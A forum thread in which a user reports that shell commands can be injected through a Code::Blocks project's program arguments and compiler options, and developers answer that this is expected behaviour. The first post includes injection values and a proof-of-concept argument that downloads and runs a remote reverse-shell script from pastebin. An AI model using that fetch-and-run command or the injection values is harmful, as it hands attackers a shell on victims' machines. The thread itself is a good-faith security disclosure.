Is this maybe a security problem?

[hrkljus]

Hi, I'm new here and I wasn't sure where to post this.

I'm wondering if the following would be considered a security problem, and if it's worth reporting it as a bug:

In a Code::Blocks project, it is possible to inject shell commands via the "Set programs' arguments" option, e.g. setting the programs arguments to "; ls" and pressing F9 in a default Hello World project will result in the following output:

Code Select Expand


Hello world!
bin  hello.cbp  hello.depend  main.cpp  obj

Process returned 0 (0x0)   execution time : 0.013 s
Press ENTER to continue.


Same can be done with compiler options, though it's a bit trickier. Setting "|| ls #" as the first compiler option will make the compilation fail, though the command ("ls") will still get executed.

Now on one hand, this may be expected and nothing unusual, but on the other hand it can be used to hide malicious code in a Code::Blocks project which will get executed once the victim compiles/runs it.

Here's an attack scenario:

An attacker creates a Code::Blocks project with some clean source code, but set's up the compile options/program arguments so that it would give him a reverse shell.
He then distributes the project, and the victims that compile/run it unknowingly give him access to their computer.

I've created a simple proof of concept - a Hello World project in C++ that, once run, creates a reverse shell that connects to localhost:12345.

You can test it out on a Linux/Unix system by creating a listener in a terminal first:

Code Select Expand

nc -vlp 12345

And then running the project with F9.
Once run, you should have a shell on your listener terminal.

The program arguments are set up like this:

Code Select Expand

; wget -qO /tmp/r.py http://pastebin.com/raw/mMfKfkUU && python /tmp/r.py

Which will download a python script with a simple reverse shell that forks to the background so that the program normally finishes once run from Code::Blocks.

Here's a screenshot:


Is this something worth reporting or is it simply and accepted risk/expected behavior?

EDIT: Forgot to attach the proof of concept project.

[oBFusCATed]

Can a user find the problem by inspecting the project with a text editor or using cb's guis?

[dmoore]

Expected behavior I would say. Aka, don't run projects from untrusted sources 

I think the only security risks that we have to worry about are malware, privilege escalation or network backdoor bugs that are somehow baked into the IDE itself. Just like you don't blame the terminal for crap people might run in it, the IDE can't be blamed for crap people put into projects.

[raynebc]

Same risk somebody could get by running untrusted build scripts or makefiles?

[yvesdm3000]

And what about the compiled code? Once you execute it, it can also whatever the programmer wrote...

Yves

[hrkljus]

Can a user find the problem by inspecting the project with a text editor or using cb's guis?

Yup it can be found, opening project.cbp in a text editor should be enough for a user to notice malicious commands both in project arguments and compiler options.

Same risk somebody could get by running untrusted build scripts or makefiles?

Yea that's exactly what my friend said.

And what about the compiled code? Once you execute it, it can also whatever the programmer wrote...

Yves

That's the thing with this approach, the source code can be an innocent Hello World program, but the malicious part is hiddent in project.cbp.

All in all I agree pretty much, looking at the Code::Blocks source code it doesn't seem that there's an easy way to fix this like just quoting something, so it may not be worth the effort.

[MortenMacFly]

I am always surprised about were and how much criminal energy it put into...

Burt really: If we don't allow such we will strip important functionality from the IDE. I would assume that you could do similar things with any IDE out there.

So I agree 100% with dmoore:

Expected behavior I would say. Aka, don't run projects from untrusted sources 

And no, I guess we won't do anything about it. Because we also cannot avoid in no way that stupid people will use C::B to write stupid programs.

BTW:  We do have a security layer for scripting though...

[BlueHazzard]

BTW:  We do have a security layer for scripting though...

But it is not very secure... I found a lot wholes in it:
for example, you can not safe a file through the script api, but if you open an editor through scripts, and safe this editor you can write anything to disk, without any security intervention...
Of course this can be fixed, but c::b is a ide... it is made for programming, not to be a secure environment... I think it is the responsibility of the user to trust/untrust project/script sources...  Also the target group for a exploit is quite small...
Don't understand me wrong, security is one of the most important things today, but a programming ide should (and can) not be the frontier of defense...

greetings

[raynebc]

Not running the IDE with administrator privileges will also help limit anything a destructive build script/project could do.